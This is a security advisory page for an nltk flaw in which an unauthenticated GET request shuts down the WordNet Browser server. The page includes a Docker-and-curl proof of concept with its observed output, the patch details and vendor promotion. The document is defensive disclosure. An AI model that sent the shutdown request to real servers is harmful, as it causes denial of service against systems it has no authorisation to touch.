GHSA-jm6w-m3j8-898g is a high-severity (CVSS 7.5) Missing Authentication vulnerability in nltk. A fix is available for nltk — see the affected versions and patch details below.
Unauthenticated remote shutdown in nltk.app.wordnet_app
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jm6w-m3j8-898g.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-jm6w-m3j8-898g plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
nltkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.
Details
The vulnerable logic is in nltk/app/wordnet_app.py:
-
- The server listens on all interfaces:
server = HTTPServer(("", port), MyServerHandler)
-
- Incoming requests are checked for the exact path:
if unquote_plus(sp) == "SHUTDOWN THE SERVER":
-
- The shutdown protection only depends on
server_mode
- The shutdown protection only depends on
-
- In the default mode (
runBrowser=True, thereforeserver_mode=False), the handler terminates the process directly: os._exit(0)
- In the default mode (
This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.
PoC
- Start the WordNet Browser in Docker in its default mode:
docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"
- Confirm the service is reachable:
curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
Observed result:
200
- Trigger shutdown:
curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'
Observed result:
000
- Verify the service is no longer available:
curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest
Observed results:
000
nltk-wordnet-web-default-retest Exited (0)
Server shutting down!
Impact
This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.
Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:
- the route is accessible over HTTP
- no authentication or CSRF-style confirmation is required
- the server listens on all interfaces by default
- the process exits immediately instead of performing a controlled shutdown
This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | nltk | all versions | 3.9.4pip install --upgrade 'nltk==3.9.4' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nltk to 3.9.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jm6w-m3j8-898g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-jm6w-m3j8-898g can be triaged on real exposure rather than presence alone.
Tailored to GHSA-jm6w-m3j8-898g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
IMPORTANT: This flaw allows an unauthenticated remote attacker to cause a denial of service in Red Hat products utilizing the NLTK WordNet Browser HTTP server. The vulnerability is exploitable when the server is running in its default configuration, allowing a specially crafted GET request to terminate the process.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat OpenShift AI 2.25 | rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9:1780069222 | RHSA-2026:24977 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-ta-lmes-job-rhel9:1787330903 | RHSA-2026:65126 |
| Red Hat OpenShift AI 3.3 | rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9:1778262893 | RHSA-2026:19712 |
| Red Hat OpenShift AI 3.3 | rhoai/odh-trustyai-nemo-guardrails-server-rhel9:1782471606 | RHSA-2026:37275 |
Frequently Asked Questions
Is GHSA-jm6w-m3j8-898g in your dependencies?
O3 Security finds GHSA-jm6w-m3j8-898g across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.